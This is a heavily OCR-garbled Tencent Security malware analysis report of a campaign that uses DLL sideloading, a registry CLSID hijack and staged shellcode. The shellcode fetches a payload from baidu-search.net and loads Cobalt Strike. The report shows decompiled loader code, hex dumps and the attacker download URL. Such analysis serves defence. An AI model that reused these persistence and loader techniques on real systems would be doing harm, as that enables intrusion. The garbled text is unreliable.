§25108840|FE CE 59 89 D5 7C 61 08 DB 45 85 008 24 61 08 80) Y ZEAME Y =L |
§2516056|/14 08 BA A8 67 A8 68 68 A9 68 6A 08 6B 6O 6C 6A|W...g.h.i.j.k.1.
625160066 6D @8 E A8 6F 6O 70 68 7A 60 08 08 53 00 4F 60|/ m.n.o.p.z...S.0.
6251067646 A8 54 AA 57 6@ 41 60 52 @@ 45 08 SC 68 41 68| F.T.W.A.R.E.\.A.
§2510086|70 @8 7@ @8 5C B8 41 68 70 68 78 688 58 08 37 68| p.p-\.A.p.p.%.7.
62510696(/30 @8 31 68 36 08 32 60 34 60 38 68 36 08 63 6@ 0.1.6.2.4.8.6.cC.
625100n6|37 A8 35 G@ 35 0@ 34 60 66 B0 37 68 66 0@ 38 6@ 7.5.5.4_ F.7.F.8.
625100E6|30 08 66 A8 34 6O 38 60 31 60 39 08 38 00 35 60| 0.f.4.8.1.9.8.5.
625100C6| 6% A8 36 A8 37 60 35 60 38 60 36 08 64 00 5C 60| d.6.7.5.8.6.d.\.
6251060641 A8 78 A8 70 B8 6C 60 69 60 63 08 61 6@ 74 6@/ A.p.p.l.i.c.a.t.
G25100EG|69 @8 6F @8 6E B@ 7A 6P B0 B8 53 68 4F 08 46 6@|i.o.n.z...S.0.F.
G25100F6|54% @8 57 @@ 41 0@ 52 60 45 60 5C 68 41 08 78 68| T.W.A.R.E.\.A.p.
62516160670 @8 5C 08 41 60 70 60 70 60 58 08 37 00 30 60| p.\_.A.p.p.X.7.0.
62516116(/31 08 36 08 32 60 34 60 38 60 36 08 63 00 37 60|1.6.2.4.8.6.c.7.
62516126|35 @8 35 AA 34 0@ 66 60 37 60 66 08 38 00 30 6A|5.5.4.F.7.Ff.8.0.
62510136 |66 @8 34 B4 38 08 31 60 39 60 38 68 35 6@ 64 6@ F.4.8.1.9.8.5.d.
B2510146|36 @8 37 A8 35 0@ 38 60 36 60 64 68 SC 08 44 0@|6.7.5.8.6.d.%\.D.
§2516156|65 08 66 A8 61 B8 75 BA AC B8 74 08 49 08 63 A@|e.f.a.u.l.t.I.c.
62516166 6F 08 E A8 B8 6O 6O 60 44 68 41 08 74 60 61 60| o.n.M...D.a.t.a.
62516176/ 86 A8 BA A\ 64 BA 65 6A 66 B0 68 08 AA 0@ 32 6A|N...d.e.f.h...2.
62510186/ 80 @8 6E A8 65 O@ 77 60 73 6@ 2E 08 73 08 68 6@ ..n.e.w.5...5.h.
62510196|61 @8 6E B@ 67 B8 72 68 69 B0 6C 68 61 08 65 6@/ a.n.g.r.i.l.a.e.
62510106|78 @8 78 @8 6F B8 72 68 74 6@ 73 68 2E 0@ 63 6@/ x.p.o.r.t.s...c.
625161E6|6F @8 6D 08 2E 60 60 60 62 608 AC 0@ 69 6O 70 60|o.m..... c.1l.i.p.
625161C6|2E @8 73 08 68 60 61 68 S6E B8 47 08 77 00 65 6@ ..s.h.a.n.g.w.e.
62516106 |69 08 64 A8 65 68 73 68 69 60 67 08 6E 0@ ?E AA|i.d.e.s.i.g.n...
625101E6|63 88 6F A8 60 B8 68 44 65 @0 60 68 A4 68 66 44| c.o.m. D% ... .. D
§25101FG| 85 06 4D 5A 90 06 83 00 00 00 B4 00 00 88 FF FF| Y.M2? ... | ..ijij
§2516200| 80 98 B8 A8 B0 AB 6O OB BA @A 40 08 BA A8 66 68| ..7...... @.....
§2516216/ 80 A8 PA A8 0O OO 6O 60 BA 60 A8 08 A8 60 66 BA| ... ...........
62516226/ 80 A8 PA A GG OO A0 60 A0 G0 A8 A AA A ES 8A| .............. ?
6251623688 @8 BE 1F BA OE 6@ B4 89 CD 21 B8 @1 4C CD 21| ..NN7.?77L7
62510246 |54 68 69 73 28 78 72 6F 67 72 61 6D 28 63 61 6E|This program can
625102560 |6E 6F 74 28 62 65 28 72 75 6E 28 69 6E 28 44 4F |not be run in DO
62510266|53 28 6D 6F 64 65 2E 6D 8D G8A 24 08 A 00 66 60|S mode....$.....

3. 2019 FT{EREIRN 2(E ) (a34365a101c1fbafab98cf3d63f96658)

EREZNEEI= IS Ny SEv K

i) |

HiR v BEBET

o FEE
i)
= EERRRTE

e .E
B s
= BR

=
==

i

v 20195 T RSN (ENRE)

gt
2019 T IEREEM2 (NG exe

EFS REKEY wizard

Microsoft Corporation

mpr.dll
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TLP: WHITE @ E?:tﬂs%u%
7 2019F T eI (ET0R).exe BIE ==
B | wEn | we | HEES | LEeuEs

Bt B

EFS REEEY wizard
Esckil [FREFE

WiEMRAE 8. 1. TEO0. 1R3ES

J’tﬁ':-gﬁ Microsoft® Windows® Operating Swstem
FERkRE 8.1 TE00. 1R35S

e @ Microsoft Corporation. ALl righ. ..
ol B0.0 EB

EfrHEl 2009/7/15 22:14

B baig &EE)

Eﬂ&ﬁ{fﬂ:@ relkeywiz. exe

i Bt 401 A S 2

&= [ mAE || grw

Mpr.dil JIEAOERI ¢, SEBLUN T I INZSI RS T, RS
AR IR ARSI R A AN, BERDSIEANEDA 61.4 MB

(64,480,256 =FF):
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BiR=E=

TLP: WHITE Tencent Security
H @ mprdil
- -
{3 723 - [lang: 1033]
2 [2] Fle: mpr.di {3 725 - lang: 1033] B B = | © P2
— (2 Dos Header {2 729 - lang: 1033] 3
- =2 731 - lang: 1033) Of f=et 0 1 2 3 4 5 6 7 8 9 & B C D E F | Aecii
= Nt Headers =) 733 - Jang: 1037 000044C0 | ES 6B 64 OC OF DC 72 E8 44 63 FG 1A 4D 66 BF 64 | ckalliraloBIiic]
File Header 3 735 - [ang: 1033] 000044D0 | 41 2B 83 2F 10 Bi 86 58 B7 33 7D Bé E4 CC D3I 98 1E- 319510
Optional Header . o 000044E0 | 0D 02 32 07 2D 1D BF 79 D3 0D C7 F6 99 83 EC 49 iyQ.COILT
& Data Dirsctorios ] {2 739 - [lang: 1033] 000044F0 | 40 9E DE 2F E4 B2 OC 75 C2 7E 64 79 88 BS 57 C2 | @1/ 1nd~jy 10V
) {2 741 - flang: 1033) 00004500 | 9E A7 F1 92 FO B6 2E 83 59 3E CC 85 51 46 8C C4 | 1S 17:110F 1A
— = Section Headers k] -4 743 - Jang: 1033] 00004510 [ EA 8D 53 67 42 3F B 31 Ci 6D FO 5F 84 77 86 01 | & SgB?M1End_ 1wl
+— (2 Export Directory . {5) 745 - Jang: 1033) 00004520 | 77 24 AF 45 54 37 B3 E7 75 E5 G1 54 5A A9 E7 89 | w¥ ET7°qua TZ8gl
|— 3 knport Directory 3 00004530 | OC Ba D4 C& D4 D7 3E 77 44 DF BB A7 6A AB E7 CC | 120E0x. wDBsSigcl
- 0 747 - [lang: 1033] 00004540 | FD 39 05 AE 42 63 EBE 86 AC 4F C1 74 71 C4 3E 9B | §90«Bonl-0hdzgisl
[ [ Resource Directory -4 749 - Jlang: 1033] 00004550 | F6 4D C7 2D CD 78 34 21 BS 7C 7B 94 9& 6F 61 09 | GHg—I=dip|{1loa.
t— (2 Relocation Directory £ 751 - [lang:1033] 00004560 | 00 ED BD 7E 22 27 &1 14 49 7B 24 SF 03 BE Al DF i!i"';‘\lg{*_ i
L& i T 00004570 | 95 EL 90 4D CE 23 66 13 C1 2D B2 85 EL 6F E4 CO | 12 MI#f1
e WS I 00004580 | 34 C7 OB EB 04 0B OE 97 02 8¢ B0 OE Bi 1C FD iB | 4
-}, Dependency Walker = lang:1033] 00004530 | B9 BL BD BB 87 6F E2 B2 DB F3 FD C1 Da &F 31 85
3 757 - [lang: 1033] 00004540 | 4F D7 CO 16 D4 65 FA 9B 23 79 D2 5A Fi BE F7 45
| 11033) 0D0045B0 | 56 24 68 37 42 F2 37 72 F5 43 DO E2 EC 53 5F 23
11033) 000045C0 | 26 FC AE 89 16 F2 OE C5 BY €A E3 1B 77 8C 8D Bl
1034 000045D0 | CB OB 58 3D A7 02 97 49 22 50 62 OB &6 AE AB OE
3 000045EQ | F9 F7 3F 4E 9C 53 7B F7 D9 £9 80 7E 70 90 95 6F | a=
+1033] 000045F0 | OB 6C 56 CB 24 7F FD EL F3 DC 4B 2C 33 E2 4C 3F | 1lVES19anii, 3417
. 11033) 00004600 | D8 DE 1C E8 16 BA 8F 40 CE 13 86 F7 48 26 35 97 | @b er® @lpp<H&S1L
5 e ) 769 - lang: 1033] 00004610 | 33 6C F2 58 38 15 &D 94 93 D1 CB A5 58 32 31 2C | 31aX8i-p1INE®X21,
— Sy UPX Lnility 2 771 - [eng:1033] 00004620 | 76 08 88 70 49 61 DS 99 F3 6D E6 CA 79 AB DE 01 D
; 3 00004630 | CF 7D 5B 5B FA 97 37 27 66 E8 13 CO 3D 89 BO 35
0 773 - [lang: 1033] 00004640 | 8D D& AF B7 00 FS 95 AE 0A 1B 94 BC 53 53 9B €5
43 775 - lang: 1033] 00004650 | 43 B7 C8 DO 60 B6 62 FD 1i 8A 01 7C 41 53 26 CD
{3 777 - [lang: 1033) 00004660 | 44 30 6F DA F7 2B 56 BD 71 4A 34 5C 63 A9 70 58
53 779 - feng:1033] 00004670 | B4 42 39 A2 E0 91 D5 7F 66 EA 13 CO 3D 89 BO 35
- ] 00004680 | 8D 04 AF B7 00 F5 95 AE 05 46 EF D7 95 A2 60 B3 CBRdFixe
3 781 - [lang: 1033] =(|00004690 | D3 C9 C7 53 &8 9C 25 BB CB 23 &1 E2 26 58 87 8D | IEGS 1%-E#Qa&E1
~-{) 783 - [lang: 1033]
1) 785 - [lang: 1033]
i) 787 - [lang: 1033] -
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[ERZEE
TLP: WHITE @ Tencent Security

| & mpr.dll BtE = |
B | &2 | FHER | LEREE

Bt B
i

M HHEA
£l ERERTE
T hE
P T,
FEamhiE

otk E1.4 ME
EfrHEl =015/2/28 6:57

v
(==

| e | [ BE || ERW

ZXMHEEIT A

1) WEIREREROUE: B 805 SEFRRIMRF (£7: 2019 FTIERERN 2(5M
f&).docx) , FHTFRZSUHSE; T 803 SHKIREI%LOCALAPPDATA%E R, 1Z&IR
FI—" PEXXH, w3879 HelpPaneProxy.dl (fRIBRZRAAR, tBAJRER

HelpPaneProxy.dl) :
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BRZze
TLP: WHITE Tencent Security

mpr.dil

-I03) 769 - lang:1033] =

:1033] B B = ™ p =

:1033]
=) 775 - flang: 1033] Offzet o 8L, BB i M BE B SR W@ 9 U B T B OCEF Azcii
777 - [lang: 1037 00000000 [ 4D 54 90 00 02 00 00 00 04 OO0 00 OO0 FF FF 00 00 |HZ p1...01...%%..
:1033] 00000010 [ BS 00 00 00 00 00 00 OO 40 00 00 00 00 00 00 00 | ........ R
: 00000020 [ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ©..........
+1033] 00000030 | 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 | ... .. .. .. 11

11037 00000040 | OE 1F BA OE 00 B4 09 CD 21 BS 01 4C CD 21 54 68 |1 op. .11, 4LIITh
785 - [lang: 1033] 0o0o0o0s0 [ 69 73 20 70 72 6F 67 72 61 6D 20 k3 61 GE GBE BF 1s. programn. canno
737 - lang: 103 00000060 [ 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 | t.be.run.in.DOS.
j 00000070 | 6D 6F 64 65 2E OD 0D 0& 24 00 00 00 00 00 00 00 |nmode....$.......

11033 00000080 [ 72 97 0D F9 36 F6 63 AR 36 F6 63 Ak 36 F6 63 A& | rl.u6dc?65c?6dc?
791 - Jlang: 1033] 00000090 | B2 64 92 A4 3F F6 63 AA 82 64 90 Ak 42 F6 63 Ak | 17 2700215 2Boc?
795 - [lang: 1033] 000000&0 [ 82 64 91 A& 2E F6 63 4h OD 48 60 AB 27 F6 63 &k | 137 2.0c2. "« oc?
737 - Jang:1033] 000000ED | OD A48 66 AB 23 F6 63 A OD A8 67 AR 39 F6 63 Ak | . f«#dc? . ‘gudoc?
) 799 - lang-1033] 000000CO | 3F SE FO A& 35 F6 63 AA 36 F6 62 Ak 63 F6 63 Ak | ?18250c265bcoc?
- a: 000000D0 | 4 A8 60 AB 37 F6 63 AA A1 A8 63 AF 37 F6 63 Ak | M «70c?i cwfoc?

-4 801 - [lang: 1033]

i) B03 - [lang:1033] |
| 7) 805 - [lang:1033] |~ [
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fBinze

Tencent Security

TLP: WHITE
¥
LoadResourcexx 18681BE@(&1pBuffer, 8x325u); // docx
w75 = @;
w74 = (DWORD *}128;
w73 = 43
W72 = 83
LOBYTE(vi32) = 13;
Vil = 83
if ( {uns;gned int)dword_ 1982238 = 8 )
w43 = :1:1pFileName;
widh = CreatEr11En{f+3, 3u, Vw71, w72, v73, (DWORD)}w74, v75);
w75 = B8;
if ( va6 )
{
w74 =
w73 =

~J

v
if ( viez >= exie )
vad7 = lpBuffer;
WriteFile(v46, v47, v73, v74, v75);
CloseHandle(v46);

= 15;
v1l6 = @3
LOBYTE(v11S) = 8;
LOBYTE(v132) = 14;

v4E = GetOsVer 10863108();
if (w48 1= 7 BR v48 1= B )

1
if { v43 1= 18 )
{
w39 = @;
goto LABEL_133;
h

V5@ = sub_ 188e6ADa("UIAnimation.dl"™});
sub_18@B4FAB(&v115, v5e);
if ( v119 3= 8x19 )
j__free(v118)};
sub_10885278(&dword_188223DC, L"GamePanel.exe™);

b

else
1
vdd = sub 1668686ADS( "HelpPaneProxy.dl"};
sub_10@B4FAB(& 115, v4d);
if ( vi19 >= @x16 }
j__free(v113};
std::append2_10005EB@(&dword_188223DC, L"charmap.exe", 11};

= &dword_18822424;
string::assin_leeas4Be(Sdword 10822424, (int)&v115, @, @xFFFFFFFF);
std::append_leee58De(&v115, L"1", lu);
w52 = [const char *}&v115;
if ( vil7 »= @x18 )
v52 = wil5;
if { _access{v52, @) == -1 )
1
LoadResourcexx 18@881BEG(&v113, 8x323u); /! pe
LOBYTE(v132) = 15;
v75 = (struct _OVERLAPPED *)}NumberOfBytesWritten;
v53 = Edword_10822424;
1f ( (Jn;lgned int)dword 18822438 »>= @x1@ )
vs3 (wc* **Ydword_18022424;
= (D. D *Y({char *)vS3 + dword 18822434);
1f ( [un:;gned int)dword 18822438 »>= @x1@ )
= (void “”)dword_18922424;
LOHORD(ULLJJ
v125 = 7;
124 = @8;
sub  10006BDO(&v123, (int)wS1l, (int)v74, (int)w75);
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TLP: WHITE

@ BRZe

Tencent Security

2)

FIFFIERIS R :

) (b « 2010 TrmEmmeeE.. » 20195 TIHRSER2ETR 4]
|~ mARNEm v HEv FETEE
o i — ; L
8 FE ] 2019 T ERSEN2(E00E).dox 2019/6/21 %12
W =E
i EEARGE
=]

BT com FAPTIRINEMZREG S, & HelpPaneProxy.dl iEMRESEM

w137 = 2;
if ( CoInitializeEx(®, @) < @ )
goto LABEL_4;
if ( CoInitializeSecurity(@, -1, @, @, 6u, 3u, @, @, 8) < @ )}
1
CoUninitialize();
LABEL 4:
V18 = 1;
goto LABEL_5;
¥
v2@ = wgetenv(L"WINDIR");
std::string 1@ea5160(&v134, v2e);
LOBYTE(v137) = 3;
std::sppend_100@5D86((int *}&v134, L™\\SYSTEM32\\REG.EXE", 17);
w21 = sub 1@0867AB(&v126, L"add ", (int)8a7);
LOBYTE(v137) = 4;
v22 = sub_1@@e6390(&viz3, v2l, L™ /t REG_SZ /ve /d ");
LOBYTE(v137} = 5;
v23 = sub_ 10886938 (&v129, v22, (int)}&al3);
LOBYTE(v137) = 6;
sub 10006800 (&v131, v23, L" /f");
if { vi38.cyVal.Hi »= Bu )
j__free{v129);
v13B.cyVal.inted = Bx700000000164;
LOWORD(v1259) = @;
if ( w125 »= 8 )
j__free(vl23};
v125 = 73
vizd = @;
LOWORD(v123) = 8;
LOBYTE(v137) =
if ( w128 »= 38 )

ppv = @3

v128 = 73

vi27 = @;

if ( CoCreateInstance(&rclsid, @, 1lu, &riid, &ppv) < @ )
goto LABEL 41;

VariantInit(&pvarg);
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AiTRIE<S:

rA=t

A86A3BCE (61 BA 64 80|64 A0 28 60|68 A0 6B 68 63 688 75 88| add hkcu
A86a3B0E(5C B8 53 80| 6F 80 66 60|74 A0 77 68 61 688 72 88| \Softwar
HB0BAZBES (65 BA S5C 80| 43 80 6C 60|61 A8 73 68|73 688 65 88| e\Llasse
HBOBAZBFE (73 B8 5C 80| 43 80 4C 60|53 60 49 68 44 688 5C 88| s\CL5IDY
HB0A3CHE (7B BA 38 80| 43 80 45 60|43 60 35 608 38 08 45 08| {8CECSSE
A86A3C18 (37 B8 2D 80|38 80 37 60|41 68 31 68 2D 68 31 88| 7-67A11
H86BA3C28 (31 B8 44 80|39 80 2D 60|42 60 31 68|35 68 45 88(1D9?-B1SE
A86A3C3IE (2D BA 38 80|38 80 39 60|44 A0 35 68| 36 68 42 04| -0008D5GB
HOOA3CHE (46 B8 45 80|36 80 45 60|45 68 7D 68| 5C 688 49 88| FEGEE}\I
A8BA3CS58(6E BA 70 80|72 80 6F 60|63 A0 53 68 65 688 72 88| nprocier
A8BA3CGE (76 BA 65 80|72 80 33 60|32 60 20 68| 2F 688 74 B8|verd? ft
HBBA3CYE (20 B8 52 80|45 80 47 80|5F 68 53 68|5a 68 20 88| REG_3Z2
H8BA3CES(2F BA 76 80|65 80 28 60| 2F 60 64 68|20 68 43 64| fve fd C
A868A3CY8 (3R BA 5C 88|55 80 73 60|65 A0 72 68|73 688 5C 88| :\Usersy,
H8BA3CAS (34 B8 34 B80|5C 80 41 60|70 A0 70 68 44 68 61 88| 44\AppDa
H8BA3CES (74 B8 61 B88|5C 80 4C 60| 6F A0 63 68 61 688 6C 88| tavLocal
A86BA3CCE(5C BA 48 80|65 80 6C 60|78 A0 50 68 61 88 6E 88| \HelpPan
A88A3ChE (65 B8 58 80|72 80 6F 60|78 A0 79 68 2E 68 64 88| eProxy.d
H86BA3CES |(6C BA 28 80| 2F 80 66 60| 08 A8 6F 68|67 688 72 B88|1 /f.ogr

HelpPaneProxy.dl ITIEEEMEZEAER shellcodel, FHHfT, SZRIRYEECRAZE

([
fREEIL /9 sha256+aes NEZ$H/9: DD D8 74 EF 73 A8 25 06 A6 63 CB 80 F4 09

C57D AF 63
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TLP: WHITE

BiR=E=

Tencent Security

5 vE; [/ ea
7 wvoid (*v7)(void);

unsigned int v8; //
unsigned int wo9; //f
unsigned

VirtualAlloc

-
—

memcpy 188138F8

_ writeeflags(

_ writeeflags(

wr‘lteeflags(

HelpPaneProxy.dl E#{ER®RE

(32,793,600 =1):
5]

int vie; //

- = sub_1@@@16BB (=1,

size_10012014;
100136C4(0,

{v6, v4,

= _ readeflags();

)

9 = _ readeflags();

9};

VirtualFree 108136C8(&shellcodel 10212018,

= readeflags();

a);

= free 1%13168( 4);

" HelpPaneProxy.dl

a3, (in

size 10012014, ©x3000, 64);

5, @xB00A);

RIS ARSI EE S

t)&shellcodel 10012818, &size_ 10012814, (¢

X% 31.2 MB

“akey 10812000 ;

&

B [= File: HelpPaneProxy dl
— (=l Dos Header
= Mt Headers
2] File Header
(5] Optional Header
|5l Data Directories ]
— (=] Section Headers [x]
— |Z) Export Directory
— [ import Directory

() Resource Directory
— |2 Relocation Directory
|22 Debug Directory

-

%, Dependency Walker
4, Hex Editor

4, Identifier

%, Import Adder

), Quick Disassembler
), Rebuilder

‘:'I‘, Resource Editor

44 UPX Unility

Shellcode1 179

731- [lang:1033] ~
735 - [lang: 1033]
737 - [lang:1033]
738 - [lang: 1033]
741 - [lang: 1033]
743 - [lang: 1033]
745 - [lang: 1033]
1) 747 - llang: 1033]
749 - [lang: 1033]
751 - [lang: 1033]
755 - [lang: 1033]
759 - [lang: 1033]
763 - flang: 1033]
765 - [lang: 1033]
767 - lang: 1033]
769 - [lang: 1033]
771 - [lang:1033]
773 - [lang: 1033]
775 - [lang: 1033]
777 - lang: 1033]
779 - [lang:1033]
781 - [lang: 1033]
783 - [lang: 1033]
125 787 - lang: 1033]
791 - flang: 1033]

797 - [lang:1033]
1) 799 - llang: 1033]
-4 801 - [lang:1033] | &
[H-{2) Configuration Files

B e = oA,

Offset B ke 22 03 b dBE e o R 20% G B GG D R Ascii

oo0ooooon | 7D 09 C3 66 13 FA BE 60 50 FG F2 83 10 64 E9 E3 T Af luE FEalljeE
nopoonio | CF EE 59 38 25 51 FC 93 9B B7 C4 50 49 B9 9B CF TivaxQiin)-APT! I
0poooozo | 05 OE E3 87 EE 3E 80 24 4C 70 76 F5 D2 3D 74 &C 1i>151pvd0=z1
00000030 | 74 2F 10 41 C9 4C 72 BB 19 53 EF AC AB OC 08 CE £/ LAELTs IS1~al 11
nonoondn | E4 D3 D9 E9 4D 42 3C 52 8B 97 91 47 7C 45 2C 0D SOUZME<RING|E,
opooo0oso | 58 44 58 28 23 389 DA A5 51 06 81 C8 E3 1C 8D &F XIX(#80F01 EZ
opoooonen | 5D 3E 94 5C D4 26 AF CB 8C 0D 7D 70 C8 EE 57 FC ]>|\O& El.}pEili
00000070 | SE 42 D2 A8 1E FO 44 43 44 CB A6 C7 AC DO 96 6F “BOT AICEEC-Blo
aoooongn | Fo E7 67 86 38 7E 40 84 14 A7 DS B3 F7 9C Fi 83 gIS”@II§6
0pooonso | A8 C9 04 52 AC 43 75 11 BB De EB 1D 44 85 B2 E3 EIR -Cul .
000000AD | 65 1D OA 61 A7 53 74 84 47 F2 9B 44 CC 23 35 DE e aSStISoIDI#Sb
aonoonen | 21 C6 57 0A C2 FO BS &2 F6 0A& C2 11 01 08 94 F2

0poooonco | 43 61 98 34 D9 IF 78 E7 93 2C B3 B2 OF 4B 4C &0

0pooooDo | F1 56 98 06 59 BO 04 9C 0C 7E B84 42 99 1C 92 38 1
O00DO0DED | 5B E8 11 34 8B G5 1D 60 ES Ce 65 34 84 DO 29 6C [2141T " Afe: ID)l
aonoonFn | 8C C7¥ F9 52 6E 2C 93 BA RO 81 E9 9F 63 T8 49 E1 ICURk_1%h £lc=@3
0poooi0o | BED 1D 57 44 F7 D6 55 BO 72 69 DC B7 OF 66 D8 FD il
00000110 | A4 9F 10 50 7C 02 98 CA C3 11 11 BF AF C8 FS B4

oononiz2o | 42 1D 34 34 64 FC B9 31 50 6D AC D7 6F 31 8B A0

0po00i3o | B2 93 D4 B2 BE 44 03 AF 14 65 FC C8 53 AB 3D &8

0po0ooi40 | 01 38 50 22 17 93 85 4F 5C 62 46 6D 05 C8 97 F6

00000150 | F1 8F A5 80 2C Fe 61 DE 19 64 14 94 29 B3 E2 47

nonoolen | D9 F4 BD 00 DA 54 98 89 32 84 05 61 A4 3B 73 3%

00o00170 | E3 33 C3 96 E0 97 E3 63 D2 2B 20 A3 8D 69 75 EE F3E1a18c0+ £ dund
00000180 | ED 8D EE 12 FC 86 F8 76 37 DC A3 9D BE B84 BE Ad i ililev?Us H1HE
nononisn | CC 53 D4 A4 BC 11 61 D9 85 8A 50 79 E2 46 A0 16 ISOR% AT IPyAF 1
00O0001A0 | A4 EE 34 74 DO BE 4B BC 13 82 41 SF 26 29 B7 24 oi:tBaEkEIA_&) -
00o00iBO | 33 F5 E1 2E De 47 54 76 EB 07 37 04 8E 39 34 61 BDa 0GTv»|7II9 a
000001co | 26 B9 DC 13 2D 1F DD 98 2F DB 65 3B 48 02 46 23 1-0=; HIF
oonooipo | E4 D D9 04 C5 OF D9 7E C2 DA C9 B2 74 26 37 8D aOU ﬁlU“é@Elz&?

M https://baidu-search.net/download/comca.jpg FEXEEIRES, FHIERKRS

BT

Bl IEmERTO
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fBinze

TLP WHITE Tencent Security
e gl
if result )
1

th_v187(v46, v6l, v63, @, @, 3, @, @);

| vieg(v4s, &v165, 8&v56, @, @, &v116, v49, @);// “/download/comca.jpg"”

LABEL_53:

while { 1)
{
if ( v54 > @x100000 )
V34 = Bxleoas;
if { !InternetReadFile w111(v5l, w52, v54, &v1e9} )
goto LABEL_63;

v189 = 188;

L2

(w195, &vise, 5) && memcmp_vie2(v19s, &188, 5) )

1 ARFI R3-

Shellcode2 178: (Comca.jpg) :

Shellcode2 BTHEEF EEMRZEGH] shellcode3, HAIELZLEHIT shellcode3:
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@ BRZe

TLP: WHITE Tencent Security
DCEM—UUUW ] JCEIICI"_ '_)'iJ'Z- FuUulc Luuc
segBfa : 0eae0ane segbpe segment byte public "CODE® use32
seg@od: peeoooea assume cs:s5egdpe
seghfa: eaaaa0e assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
SegRea: aeeaea0e call $+5
segded . epaaaees pop ecx
segene: Beaenens sub ecx; 5
seghead: aeeaeee0 lea ecx, [ecxt6CEh]
sepBba : BE00000F push ecx
seg00a: aeea0a10 call sub_16
segdee . epeasels retn
segdbe: epeaaelo
5egBbd:: epedeRle ; ======s======== S U B RO UTINE ===================s====================
seghos . peppoale
segPB0: 00808016 ; Attributes: bp-based frame
Segeee: peaasele
58000 0ee80016 sub 16 proc near ; CODE XREF: seg@oo:oeeaealeltp
segbae : Beapaele

o i

~]

GifS M & Qo

E

& =1 & o

continue;

}

break;

=
|

b = *((unsigned _ intd *)al + v4G6++ + B);

d R

[

v = w54 + (v49 << B) - 768 + 1;
vBl = w54 + (w49 << B) - 768 + 1;
goto LABEL 68;

- &

[l

&

4 7 -205 : -201, (v46 < v94 ? @xFFFFFFFC : @) == 281) )

S EnRRE

& & 3

return result;

[«
—

Shellcode3 1779
Shellcode3 IHEERFERNEZHMEESR payload, F#EE sha256 H, BIEEAE

HTHER R payload:
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TLP WHITE Tencent Security

L
if { CryptAcquireContexthW v176(&v147, @, @, 24, axFooe0008) )

if ( CryptCreateHash w177(v147, Ox300C, @, @, &vidc) }//
f/ 38 95.2C 71 11 F8 69 FE B2 74 A9 AF 2B 5E A2 5C
/7 7D 4@ 4D B3 72 36 AA 76 Al 9C FD C9 27
{
if { CryptHashData_ v
&% CryptDeriveKey

{

{int)vies, strlen(vies}, @)
S vi@/, vidG, @, Bvise) )

v08 = *{_DWORD =)(v72 + 99);
vol = vae / vo9;
if ( ve@ % voo )

w126 = va9;
if ( vo1 )

ves = @;
while (1 )
i
if ( v94 == vO1 - 1)
{
vi28 = 1;
V96 = *( DWORD *}{al + 99);
if ( w96 < V117 )
4
¥93 = wI6 - v95;
w126 = vB6 - w953
3)
3
memcpy_wl69(v124, al + 183 + v95 + *( DWORD *)(al + 91), v93);
if ( !CryptDecrypt_vi8a(vlse, @, v123, @, vi24, &v136) )
break;
memcpy w169({v95 + w125, w124, vi26);

mems et e(vi2a, @, v99);
1)
break;
v33 = wl26;
b
va2 = v135;
1

v176(&v149, @, @, 24, axFOOEE000) )

v72 = alj;
}
else
1
w72 = al;
if { CryptCreateHash_v177({v149, ox208C, @, @, &/145) )
1

if ( CryptHashData vi78({v145, v92, *{ DWORD *)(al + 95}, @) )

v125 = 323
if ( CryptGetHashParam_v184(v145, 2, &v229, &v125, @} )
if ( memcmp v173(&v229, al + 58, @x28) )//
f/ 77 48 CB AE 65 @A 5D F1 99 BE 13 31 2B BD @C FS
f// E2 B6 D1 9A 48 ED E3 D7 2C 3A 2D 27 DD 3D 48 45

VirtualFree vIG3(v92, v1l7, @xB3800);

CreateThread_vl6i{e, @, vo2, @, @, B);|
rSingleCbject_vIG2(wa7, -1};
1;
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@ BRZe

TLP: WHIT Tencent Security
R ——
® segPp@:@EEBRESS alsername db 'username’
® segPp:B0ABRESE do @
¥ segoe0:@PE@EEESF aComputername db ‘computername’,8
Seg@B : BABARESC db 25h ; %
' segBBE:BEARAEID aB2x@2x@2x@2x82 db 'B2X:¥B2X:¥A2X:¥02X:%02X:%82X' 0
seg@Bd: PRGABEEA db 2
seg@00 : DAGGRERE db 38h ; B
 |segBen: ABBBBERC db 3@h ; @
seg@00 : BABABERD db 38h ; @
seg0pa: DBGOREBE dbo 38h ; @
* segeo: BBBADEEF db @
® =g g O AWhE a5 WE B
Seg0eE: BRARAECD key db ']',BF1h,98h,@BEh,13h, "1+ ,@BDh,BCh,@F5h,BE2h,@B6h,801h,94h, '@" ,@EDh,BE3h,8D7h
SecABn : BRGABECE db ',:-',27h,@DDh, 30h, '@E"
Segd0n : DAPHOEED dv @
seg@B: BRBABEEL db 1Eh
Seg@B: BRBABEE2 do @
BEGRPEE3 do @
: BOBBAEES db @
: BBBRAEES db @

: BOBBOEES db 28h
: BOGRBEE7 db 3
: DBBOBEES db @ payload size

® [Se000: BUABEEED dd 32816h o

TCEEOY T OO CD db—38h 3 8
seghid: BBBBRE db 95h

 m

| segPen:GROGAE pavload db 2ch ; ,

R payload BiSERABRERARSZ—H Cobalt Strike:

lint _ usercall sub_ 186801888@<ecax>(int lenfi<ecx:, int al2@<eax:>, char *a3fi<ebx:)

29

3| int result; f/ eax

4 int wvi; /S edi

5

6| result = 32 - 1;

7| vd = len;

8 switch ( result )

2 {

5]

1 sub 18885AD7(a3, len, 1);
2

3

4 sub_18883D37(a3);

5

B

7 sub_188836C7();

b3 break;

=] case 3:

g t = sub_1888374A(1len);

1 break;

2 case 4:

E: result = sub 188036DB(a3);

4 break;

5 case &:

6 result = sub_1@88597F(len, 1);
7 bhreak;

a8 case 9:

9 result = sub 1B@B3EF6((int}a3, len, "wb"};
B break;

1 case 18:

2 result = sub 10884E01(a3, len);
3 break;

- case 11:

5 result = sub 18883938(a3);

[ break;

F case 12:

8 result = sub 1888562B(a3, 1};
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Tencent Security

4. Consultancy Agreement with SMW.rar (cde957c¢80e5a3d0f0103a84385075251)
#0 Consultancy Agreement - C023-P - YCF (20190801).rar

(3e37dcca40129157eabb9ab22362e50a)

HERRIEE NS WPS XM BTENBRE, ER2EMA 19578 15:

[ Consultancy Agreement with SMW.exe EiE | = ]
(& [FEl| 958 (me | Emizs [ UEnEE]
EEIFE
EEAE:  @EEE I | :
Thuhe| BEEEILEES : | ? |
Thuha| ——
= |58 |
] =" HFERER
L HHFEEEE.
ERAEE®G
R [hai Kingsoft Office Software Co., Ltd,
BT RB - e
HERtiE: | 2me = 7 B 15 H 16:25:39
| BEERW |
2F an
EE A MaE B Fbdt:  AiEE
